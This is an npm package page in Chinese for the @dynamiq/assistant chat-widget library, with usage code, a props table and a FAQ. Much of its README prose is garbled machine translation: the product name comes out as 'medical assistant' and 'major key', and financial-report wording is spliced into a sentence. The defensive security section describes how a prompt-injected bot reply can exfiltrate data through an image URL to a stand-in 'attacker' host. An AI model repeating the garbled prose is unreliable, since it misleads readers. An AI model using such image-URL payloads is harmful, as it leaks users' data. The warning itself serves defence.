@dynamiq/assistant

中文文档
1.12.0发布于 2026/10/27Apache-2.0TypeScriptESM + CJS近 30 天下载 2047

React 和 vanilla JavaScript 的聊天部件库

中文使用文档
文档目录18 节
  1. 关于
  2. * 特性
  3. * 安装
  4. QQ 设置
  5. 使用量
  6. 反应
  7. 香草 Java 脚本
  8. QQ 部件预览
  9. API 参考
  10. 道具
  11. 活动
  12. 聊天历史
  13. • 警卫
  14. 捐款
  15. 发展
  16. 许可证
  17. 链接
  18. QQ 与我们连接
Dynamiq Assistant

医务助理

一个用于 AI 代理的强大的聊天部件库 - 为 React 和 vanilla JavaScript 所建

npm version npm downloads License

文档 二. 支助 特征 二. 支助 安装 二. 支助 使用量 二. 支助 捐款

Website LinkedIn Twitter


关于

德纳米克助理 允许您通过自定义的聊天部件将 AI 代理无缝整合到您的应用程序中。 特地为代理AI体验而建造,它提供React和香草JavaScript组件,直接连接到你的Dynamiq动力AI代理.

大调 是代理AI和LLM应用的管弦框架,使企业能够大规模地构建,部署和管理智能AI代理.

* 特性

  • 🤖 AI 代理整合 - 为连接Dynamiq AI特工而设计的目的
  • 📱 跨平台支持 - 与React和香草JavaScript合作
  • 🎨 自定义 UI - 配有主题支持的完全定制外观
  • 📡 流程支持 - AI代理的实时反馈
  • 📁 文件上传 - 允许AI代理处理图像、PDF和文件
  • 🎯 灵活定位 - 将代理部件放置在页面的任何地方
  • 🔧 事件处理器 - 处理代理人的反馈、行动和反应
  • 📊 Vega 图表支持 - AI代理可以无缝地使数据可视化

* 安装

npm install @dynamiq/assistant

或用纱线:

yarn add @dynamiq/assistant

QQ 设置

用于 @dynamiq/assistant,首先导航您的 Dynamiq 部署:

  1. 转到 部署 并确保 端点授权 已禁用(参见 警卫 这是什么意思)
  2. 点击 一体化 选项卡
  3. 切换到 聊天部件 菜单项
  4. 复制您唯一的 API URL
Dynamiq App Integration

使用量

反应

import { DynamiqAssistant } from '@dynamiq/assistant/react';

const App = () => {
  return (
    <DynamiqAssistant
      title="Dynamiq Assistant"
      placeholder="Type your message..."
      position="bottom-right"
      api={{
        url: '<YOUR_API_URL>',
        streaming: true,
      }}
      allowFileUpload={true}
      maxFileSize={10 * 1024 * 1024} // 10MB
      acceptedFileTypes="image/*,.pdf,.doc,.docx,.txt"
      params={{
        userId: '123',
        sessionId: '234',
        userName: 'John Doe',
        language: 'en',
      }}
      prompts={[
        { icon: '💬', text: 'What documents are needed for the loan?' },
        {
          icon: <FontAwesomeIcon icon={faUser} />,
          text: 'What is the maximum loan amount?',
        },
      ]}
      footerText={
        'Powered by <a href="https://getdynamiq.ai" target="_blank">Dynamiq</a>'
      }
    />
  );
};

香草 Java 脚本

无害环境管理模块

import { DynamiqAssistant } from '@dynamiq/assistant/vanilla';

const assistant = new DynamiqAssistant('#dynamiq-assistant-container', {
  title: 'Dynamiq Assistant',
  placeholder: 'Type your message...',
  position: 'bottom-left',
  api: {
    url: '<YOUR_API_URL>',
    streaming: true,
  },
  allowFileUpload: false,
  maxFileSize: 5 * 1024 * 1024, // 5MB
  acceptedFileTypes: 'image/*,.pdf',
});

脚本标记

<script src="https://cdn.jsdelivr.net/npm/@dynamiq/assistant@latest/dist/index.browser.js"></script>
<script>
  const assistant = new dynamiq.DynamiqAssistant(
    '#dynamiq-assistant-container',
    {
      title: 'Dynamiq Assistant',
      placeholder: 'Type your message...',
      position: 'bottom-left',
      api: {
        url: '<YOUR_API_URL>',
        streaming: true,
      },
    }
  );
</script>

QQ 部件预览

您的助手将作为一个优雅的聊天部件出现在您的页面上 :

Widget Preview

API 参考

道具

名称类型说明
titlestring | ReactNode助手的头衔. 可以是字符串或ReactNode.
placeholderstring聊天输入的占位符文本 .
welcomeTitlestring欢迎屏幕的标题.
welcomeSubtitlestring欢迎屏的字幕.
positionstring助手的职位 可能会 bottom-right, (中文(简体) ), bottom-left, (中文(简体) ), top-right,或 top-left。 。 。 .
api.urlstring助理端点的 URL .
api.streamingboolean是否启用响应流 .
allowFileUploadboolean是否允许文件上传 .
maxFileSizenumber文件在字节中上传的最大文件大小 .
acceptedFileTypesstring用于文件上传的已接受的文件类型 .
paramsobject传递到助理输入的参数 .
params.userIdstring用户名. 默认保存在其中的随机ID localStorage,所以历史幸存 重载.
params.sessionIdstring会话代号 默认 crypto.randomUUID()。 。 。 .
toggleButtonstring切换助手的按钮标识 .
promptsarray提示显示在助理.
prompts.iconstring | ReactNode提示中要显示的图标 .
prompts.textstring提示中要显示的文本 .
theme.primaryColorstring助手的主要颜色.
theme.secondaryColorstring助手的次要颜色.
theme.fontFamilystring助手的字体家族.
allowFullScreenboolean是否显示全屏幕按钮 .
footerTextstring脚下要显示的文字.
poweredBystring以节为动力所显示的文字.
humanSupportstring人相助一节所要显示之文字.
intermediateStreamingboolean是否显示可用的中间步骤 。 默认 true。 。 。 .
hideCloseButtonboolean是否隐藏关闭按钮 。 默认 false。 。 。 .
fullScreenboolean是否打开全屏聊天 。 默认 false。 。 。 .
openboolean是否打开页面负荷聊天 。 默认 false。 。 。 .
allowedResourceOriginsstring[]机器人消息可能从中加载图像和图表数据的来源 。 同源和 data: URL总是允许的; ['*'] 允许任何来源。 默认 ['*']建议: [] 或信任来源列表(参见 警卫) (中文(简体) ).

活动

名称说明
onFeedback处理反馈的回调功能.
onImageBlock处理图像块的回调功能 .
onLink处理链接的回调功能 .
onNewChat处理新聊天的回调功能 .
onPromptSend处理即时发送的回调功能 .
onChatDelete处理聊天删除的回调功能 .
onChatOpen处理开放式聊天的回调功能
onChatClose处理近距离聊天的回调功能

聊天历史

聊天存储在浏览器中 localStorage 并显示在历史面板。 当用户登录, 特别是在共享设备上登录时清除 :

import { clearChatHistory } from '@dynamiq/assistant/react'; // or '@dynamiq/assistant/vanilla'

clearChatHistory();

用香草部件,你也可以打电话 widget.clearHistory(),它又重排了开放式聊天.

• 警卫

  • 端口为公. 由于 Endpoint 授权被禁,在您的页面中找到 API URL 的任何人都可以直接拨打代理 。 别把秘密放进去 api.headers因为他们被运往每个访客。 对于制作,考虑通过您自己的后端代理请求,后者可以认证用户并应用速率限制.
  • 瓶装信息被消毒. 通过 DOMPurify 实现代理设备的标记下, 链接只允许 http(s)编号 :mailto 并打开新标签,图表运行时不用 eval (与无 'unsafe-eval') (中文(简体) ).
  • 限制远程资源. 默认情况下,bot消息中的图像和图表数据可以从任何来源加载. 被迅速注入的响应可以使用它通过图像URL(例如. ![](https://attacker/?q=...)) (中文(简体) ). 设定 allowedResourceOrigins 改为 [] 或者你的毒剂真正使用的原生地. url() 内置样式和 SVG 属性中的引用,以及 srcset,总是删除.
  • 您自己的 HTML 选项未被消毒 . title, (中文(简体) ), footerText, (中文(简体) ), poweredBy, (中文(简体) ), humanSupport 财务报告和审定财务报表 prompts[].icon 作为 HTML 插入。 只能通过信任的内容 .

捐款

我们欢迎捐款! 请看我们的 贡献指南 关于如何开始的细节.

发展

# Install dependencies
npm install

# Run development server
npm run dev

# Build the library
npm run build

# Run tests
npm run test

# Lint code
npm run lint

许可证

这个项目根据Apache许可证2.0获得许可——见 自由主义 详细文件.

QQ 与我们连接

大调 是代理AI应用程序的操作平台. 我们正在打造AI的管弦乐未来.

Website LinkedIn Twitter

GitHub Organization

版本与发布记录

@dynamiq/assistant 共发布 62 个版本,首次发布于 2025/03/31;过去 12 个月发布了 3 个版本。

版本发布日期距今
1.12.0latest2026/10/2718 天前
1.11.142026/10/2222 天前
1.11.132026/01/239 个月前
1.11.122025/09/231.1 年前
1.11.112025/09/221.1 年前
1.11.102025/09/121.2 年前

其他发布通道:next → 1.1.0-next.2。

关于 @dynamiq/assistant 的常见问题

@dynamiq/assistant 是什么?

React 和 vanilla JavaScript 的聊天部件库

如何安装 @dynamiq/assistant?

在项目目录运行 npm install @dynamiq/assistant,或使用 pnpm add / yarn add / bun add。它还需要宿主项目提供 peer 依赖:react(>=16.8.0)、react-dom(>=16.8.0)。npm 7 及以上与 pnpm 8 及以上默认会自动安装必需的 peer 依赖,Yarn 需要手动安装。

@dynamiq/assistant 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@dynamiq/assistant 支持 ESM 还是 CommonJS?

同时提供 ES Module 与 CommonJS 入口,import 和 require() 都可以使用,打包工具会自动选择合适的版本。

@dynamiq/assistant 可以商用吗?

@dynamiq/assistant 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@dynamiq/assistant 的下载量有多少?

根据 npm 官方下载统计,@dynamiq/assistant 在 2026/10/13 – 2026/11/11 这 30 天内被下载 2,047 次,日均约 68 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入,适合横向比较热度,不能直接等同于使用人数。

@dynamiq/assistant 还在维护吗?

最新版本 1.12.0 发布于 2026/10/27(18 天前);至今共发布 62 个版本,其中过去 12 个月发布了 3 个;首次发布于 2025/03/31。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。